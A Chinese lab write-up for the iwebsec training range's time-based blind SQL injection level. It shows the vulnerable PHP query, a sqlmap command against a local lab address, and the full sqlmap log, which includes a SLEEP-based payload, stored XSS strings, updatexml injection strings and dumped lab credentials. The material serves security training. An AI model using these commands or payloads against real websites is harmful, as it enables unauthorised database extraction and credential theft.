iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

news2025/7/18 20:10:45

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

2.完整交互过程

总结



前言

iwebsec靶场的SQL注入漏洞的第04关sleep注入漏洞渗透,


一、源码分析

如下所示,SQL语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

 可知这是一个普通的数字型注入,并且没有对参数id做任何过滤。不过在输出内容中可以得知仅sql查询成功时输出welcome to iwebsec!!!

而sql语句查询失败时,依旧输出与成功一样的内容welcome to iwebsec!!!

这说明无论sql语句如何,输出结果都是一样的welcome to iwebsec!!! 很明显结合上下文,这就是时间盲注的特点

二、sqlmap注入

1.注入命令

sqlmap -u http://192.168.71.151/sqli/04.php?id=1  --current-db --dump --batch

 如下所示,渗透成功

2.完整交互过程

iwebsec的SQL注入第4个时间盲注关卡耗时非常久,大概花了一个多小时左右的时间,完整的注入交互如下所示

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/04.php?id=1 --current-db --dump --batch 
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [']     | .'| . |                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:34:10 /2022-11-24/

[22:34:10] [INFO] testing connection to the target URL
[22:34:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:34:10] [INFO] testing if the target URL content is stable
[22:34:11] [INFO] target URL content is stable
[22:34:11] [INFO] testing if GET parameter 'id' is dynamic
[22:34:11] [WARNING] GET parameter 'id' does not appear to be dynamic
[22:34:11] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[22:34:11] [INFO] testing for SQL injection on GET parameter 'id'
[22:34:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:34:11] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:34:11] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:34:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:34:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:34:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:34:11] [INFO] testing 'Generic inline queries'
[22:34:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:34:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:34:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:34:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:34:21] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:34:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:34:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:34:22] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[22:34:22] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[22:34:22] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3964 FROM (SELECT(SLEEP(5)))Kdwc)
---
[22:34:42] [INFO] the back-end DBMS is MySQL
[22:34:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux CentOS 6
web application technology: PHP 5.2.17, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.12
[22:34:42] [INFO] fetching current database
[22:34:42] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:34:57] [INFO] adjusting time delay to 1 second due to good response times
iwebsec
current database: 'iwebsec'
[22:35:12] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:35:12] [INFO] fetching current database
[22:35:12] [INFO] fetching tables for database: 'iwebsec'
[22:35:12] [INFO] fetching number of tables for database 'iwebsec'
[22:35:12] [INFO] retrieved: 4
[22:35:13] [INFO] retrieved: sqli
[22:35:25] [INFO] retrieved: user
[22:35:38] [INFO] retrieved: users
[22:35:45] [INFO] retrieved: xss
[22:35:57] [INFO] fetching columns for table 'users' in database 'iwebsec'
[22:35:57] [INFO] retrieved: 3
[22:36:00] [INFO] retrieved: username
[22:36:23] [INFO] retrieved: password
[22:36:50] [INFO] retrieved: role
[22:37:05] [INFO] fetching entries for table 'users' in database 'iwebsec'
[22:37:05] [INFO] fetching number of entries for table 'users' in database 'iwebsec'
[22:37:05] [INFO] retrieved: 1
[22:37:06] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
mall123mall
[22:37:39] [INFO] retrieved: admin
[22:37:53] [INFO] retrieved: orange
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[22:38:11] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[22:38:11] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[22:38:11] [INFO] retrieved: 2
[22:38:14] [INFO] retrieved: id
[22:38:20] [INFO] retrieved: name
[22:38:31] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[22:38:31] [INFO] fetching number of entries for table 'xss' in database 'iwebsec'
[22:38:31] [INFO] retrieved: 5
[22:38:33] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
1
[22:38:35] [INFO] retrieved: iwebsec
[22:38:54] [INFO] retrieved: 5
[22:38:57] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:40:55] [INFO] retrieved: 6
[22:40:59] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:42:56] [INFO] retrieved: 7
[22:43:01] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:44:58] [INFO] retrieved: 8
[22:45:04] [INFO] retrieved: <?php phpinfo();?>
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 1  | iwebsec                            |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[22:46:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[22:46:22] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[22:46:22] [INFO] retrieved: 4
[22:46:23] [INFO] retrieved: id
[22:46:29] [INFO] retrieved: username
[22:46:52] [INFO] retrieved: password
[22:47:20] [INFO] retrieved: email
[22:47:33] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[22:47:33] [INFO] fetching number of entries for table 'sqli' in database 'iwebsec'
[22:47:33] [INFO] retrieved: 7
[22:47:35] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
user1@iwebsec.com
[22:48:27] [INFO] retrieved: 1
[22:48:29] [INFO] retrieved: pass1
[22:48:43] [INFO] retrieved: user1
[22:48:56] [INFO] retrieved: user2@iwebsec.com
[22:49:49] [INFO] retrieved: 2
[22:49:52] [INFO] retrieved: pass2
[22:50:07] [INFO] retrieved: user2
[22:50:22] [INFO] retrieved: user3@iwebsec.com
[22:51:15] [INFO] retrieved: 3
[22:51:18] [INFO] retrieved: pass3
[22:51:34] [INFO] retrieved: user3
[22:51:50] [INFO] retrieved: user4@iwebsec.caom
[22:52:42] [INFO] retrieved: 4
[22:52:46] [INFO] retrieved: admin
[22:53:00] [INFO] retrieved: admin
[22:53:15] [INFO] retrieved: 123@123.com
[22:53:50] [INFO] retrieved: 5
[22:53:53] [INFO] retrieved: 123
[22:54:00] [INFO] retrieved: 123
[22:54:07] [INFO] retrieved: 1234@123.com
[22:54:46] [INFO] retrieved: 6
[22:54:50] [INFO] retrieved: 123
[22:54:57] [INFO] retrieved: ctfs' or updatexml(1,concat(0x7e,(version())),0)#
[22:57:58] [INFO] retrieved: iwebsec02@iwebsec.com
[22:59:04] [INFO] retrieved: 7
[22:59:08] [INFO] retrieved: 123456
[22:59:25] [INFO] retrieved: iwebsec' or updatexml(1,concat(0x7e,(version())),0)#
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[23:02:31] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[23:02:31] [INFO] fetching columns for table 'user' in database 'iwebsec'
[23:02:31] [INFO] retrieved: 3
[23:02:34] [INFO] retrieved: id
[23:02:40] [INFO] retrieved: username
[23:03:02] [INFO] retrieved: password
[23:03:30] [INFO] fetching entries for table 'user' in database 'iwebsec'
[23:03:30] [INFO] fetching number of entries for table 'user' in database 'iwebsec'
[23:03:30] [INFO] retrieved: 3
[23:03:33] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
1
[23:03:35] [INFO] retrieved: pass1
[23:03:50] [INFO] retrieved: user1
[23:04:03] [INFO] retrieved: 2
[23:04:06] [INFO] retrieved: pass2
[23:04:21] [INFO] retrieved: user2
[23:04:36] [INFO] retrieved: 3
[23:04:39] [INFO] retrieved: pass3
[23:04:55] [INFO] retrieved: user3
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[23:05:10] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[23:05:10] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[23:05:10] [WARNING] your sqlmap version is outdated

[*] ending @ 23:05:10 /2022-11-24/


总结

通过源码再来分析下时间盲注关卡重点内容:
(1)闭合方式是什么?iwebsec的第04关关卡为数字型注入,无闭合方式
(2)注入类别是什么?这部分是时间型盲注
(3)是否过滤了关键字?很明显通过源码,iwebsec的时间盲注型关卡无过滤任何信息
了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的第04关注入内容。时间型盲注相对而言十分耗时,手注或者半自动化注入相对而言操作过程较为麻烦,初学者还是应该以手动与半自动化注入结合方法练习,真正了解原理后可以在使用sqlmap来提升速度

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/38019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

语法制导翻译(Syntax-Directed Translation)

语法制导翻译&#xff08;Syntax-Directed Translation&#xff09;语法制导翻译概述语法制导定义&#xff08;SDD&#xff09;文法符号的属性SDD 求值顺序S-SDD 和 L-SDD语法制导翻译方案&#xff08;SDT&#xff09;S-SDD的SDT实现L-SDD的SDT实现在非递归的预测分析过程中进行…

LeetCode HOT 100 —— 32.最长有效括号

题目 给你一个只包含 ‘(’ 和 ‘)’ 的字符串&#xff0c;找出最长有效&#xff08;格式正确且连续&#xff09;括号子串的长度。 思路 方法一&#xff1a;动态规划 定义dp[i]表示以下标i结尾的最长有效括号的长度&#xff0c;并全部初始化为0 注意到有效的子串一定是以’…

AOP实现方式-P20,21,22

项目的包&#xff1a; pom依赖导入有关aop的包&#xff1a; <dependencies><!-- https://mvnrepository.com/artifact/org.aspectj/aspectjweaver --><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactI…

【PyTorch】Training Model

文章目录七、Training Model1、模型训练2、GPU训练2.1 .cuda()2.2 .to(device)2.3 Google Colab3、模型验证七、Training Model 1、模型训练 以CIFAR10数据集为例&#xff1a; import torchvision from torch.utils.data import DataLoader from torch.utils.tensorboard im…

【算法】2022第五届“传智杯”全国大学生计算机大赛(练习赛)

【参考&#xff1a;第五届“传智杯”全国大学生计算机大赛&#xff08;练习赛&#xff09; - 洛谷 | 计算机科学教育新生态】 练习赛满分程序&#xff08;多语言&#xff09;&#xff1a;https://www.luogu.com.cn/paste/fi60s4yu CPU一秒大概运行 10810^8108 次&#xff0c;…

年产10万吨环氧树脂车间工艺设计

目 录 摘 要 1 ABSTRACT 2 1 绪论 3 1.1环氧树脂的基本性质 3 1.2 环氧树脂的特点和用途 3 1.3环氧树脂发展的历史、现状及趋势 3 1.3.1环氧树脂的发展历史 4 1.3.2环氧树脂的生产现状 4 1.3.3 环氧树脂的发展趋势 5 1.4本设计的目的、意义及内容 5 1.4.1本设计的目的 5 1.4.2…

Matlab顶级期刊配色工具Rggsci

颜色搭配是一件非常让人头疼的事情。 一方面&#xff0c;如果忽视了配色&#xff0c;就好像是做菜没放盐&#xff0c;总会感觉少些味道。 另一方面&#xff0c;如果太注重配色&#xff0c;又感觉不是很有必要&#xff0c;毕竟数据结果好看才是第一位的。 想要平衡两者&#…

18.4 嵌入式指针概念及范例、内存池改进版

一&#xff1a;嵌入式指针&#xff08;embedded pointer&#xff09; 1、嵌入式指针概念 一般应用在内存池相关的代码中&#xff0c;成功使用嵌入式指针有个前提条件&#xff1a;&#xff08;类A对象的sizeof必须不小于4字节&#xff09; 嵌入式指针工作原理&#xff1a;借用…

文华财经期货K线多周期画线技术,多重短线技术共振通道线指标公式——多周期主图自动画线

期货指标公式是通过数学逻辑角度计算而来&#xff0c;仅是期货分析环节中的一个辅助工具。期货市场具有不确定性和不可预测性的&#xff0c;请正常对待和使用指标公式! 期货指标公式信号本身就有滞后性&#xff0c;周期越大&#xff0c;滞后性越久。指标公式不是100%稳赚的工具…

cocos2dx创建工程并在androidstudio平台编译

本文主要是通过androidstudio进行编译运行cocos2dx工程。 前置条件&#xff1a; 1&#xff1a;androidstudio已经下载并安装。 2&#xff1a;cocos2dx已经下载并打开。 这里androidstudio使用2021.3.1版本&#xff0c;cocos2dx使用4.0版本。 第一步&#xff0c;首先安装py…

Hive之数据类型和视图

Hive系列 第八章 数据类型和视图 8.1 数据类型 8.1.1 原子数据类型 &#xff08;其实上图中有一点错误&#xff0c;大家可以找找看&#xff09; 说明&#xff1a; 1、Hive 支持日期类型(老版本不支持)&#xff0c;在 Hive 里日期一般都是用字符串来表示的&#xff0c;而常用…

STC 51单片机40——汇编语言 串口 接收与发送

实际运行&#xff0c;正常 ; 仿真时&#xff0c;单步运行&#xff0c;记得设置虚拟串口数据【仿真有问题&#xff0c;虚拟串口助手工作不正常&#xff01;】 ORG 0000H MOV TMOD ,#20H ;定时器1&#xff0c;工作方式2&#xff0c;8位重装载 MOV TH1,#0FDH ; 波特率…

智慧酒店解决方案-最新全套文件

智慧酒店解决方案-最新全套文件一、建设背景为什么要建设智慧酒店一、智慧酒店功能亮点 &#xff1a;二、智慧酒店八大特色&#xff1a;二、建设思路三、建设方案四、获取 - 智慧酒店全套最新解决方案合集一、建设背景 为什么要建设智慧酒店 一、智慧酒店功能亮点 &#xff1…

mysql-8.0.31-macos12-x86_64记录

常用的命令 停止MySQL服务 : sudo /usr/local/mysql/support-files/mysql.server stop 启动MySQL服务 : sudo /usr/local/mysql/support-files/mysql.server start 重启MySQL服务 : sudo /usr/local/mysql/support-files/mysql.server restart 修改mysql密码 关闭mysql服务…

Qt5开发从入门到精通——第十二篇二节(Qt5 事件处理及实例——多线程控制、互斥量、信号量、线程等待与唤醒)

提示&#xff1a;欢迎小伙伴的点评✨✨&#xff0c;相互学习c/c应用开发。&#x1f373;&#x1f373;&#x1f373; 博主&#x1f9d1;&#x1f9d1; 本着开源的精神交流Qt开发的经验、将持续更新续章&#xff0c;为社区贡献博主自身的开源精神&#x1f469;‍&#x1f680; 文…

【C语言数据结构】带头节点与不带头节点的单链表头插法对比

前言 近期在学习STM32代码框架的过程中&#xff0c;老师使用链表来注册设备&#xff0c;发现使用了不带头节点的单链表&#xff0c;注册时使用头插法。之前在本专题整理学习过带头节点的单链表&#xff0c;因此本文整理对比一下两种方式的头插法区别&#xff0c;具体实现在次&…

html表白代码

目录一.引言二.表白效果展示1.惊喜表白2.烟花表白3.玫瑰花表白4.心形表白5.心加文字6.炫酷的特效一.引言 我们可以用一下好看的网页来表白&#xff0c;下面就有我觉得很有趣的表白代码。评论直接找我要源码也行。 下载整套表白文件 二.表白效果展示 1.惊喜表白 2.烟花表白 源码…

【TS】泛型以及多个泛型参数

泛型 给函数或者属性定义类型的时候&#xff0c;类型是固定的&#xff0c;当业务发生变动时可能不好维护&#xff0c;例如&#xff1a;函数类型固定为string,后续需求更改不好维护&#xff0c;比如需要传入number类型&#xff0c;那么这个函数就不适用了 function add( val :…

数学题类英语作文

最近我看到过这样一道英语作文题&#xff0c;这类英语作文题很少见&#xff0c;但也有必要讲一讲怎么写。 简化题意&#xff1a;帮Peter完成一下一道题&#xff1a; f(x)ax2−(a6)x3ln⁡xf(x)ax^2-(a6)x3\ln xf(x)ax2−(a6)x3lnx &#xff08;1&#xff09;讨论当a1a1a1时&am…

CMake中file的使用

CMake中的file命令用于文件操作&#xff0c;其文件格式如下&#xff1a;此命令专用于需要访问文件系统的文件和路径操作 Readingfile(READ <filename> <variable>[OFFSET <offset>] [LIMIT <max-in>] [HEX])file(STRINGS <filename> <variab…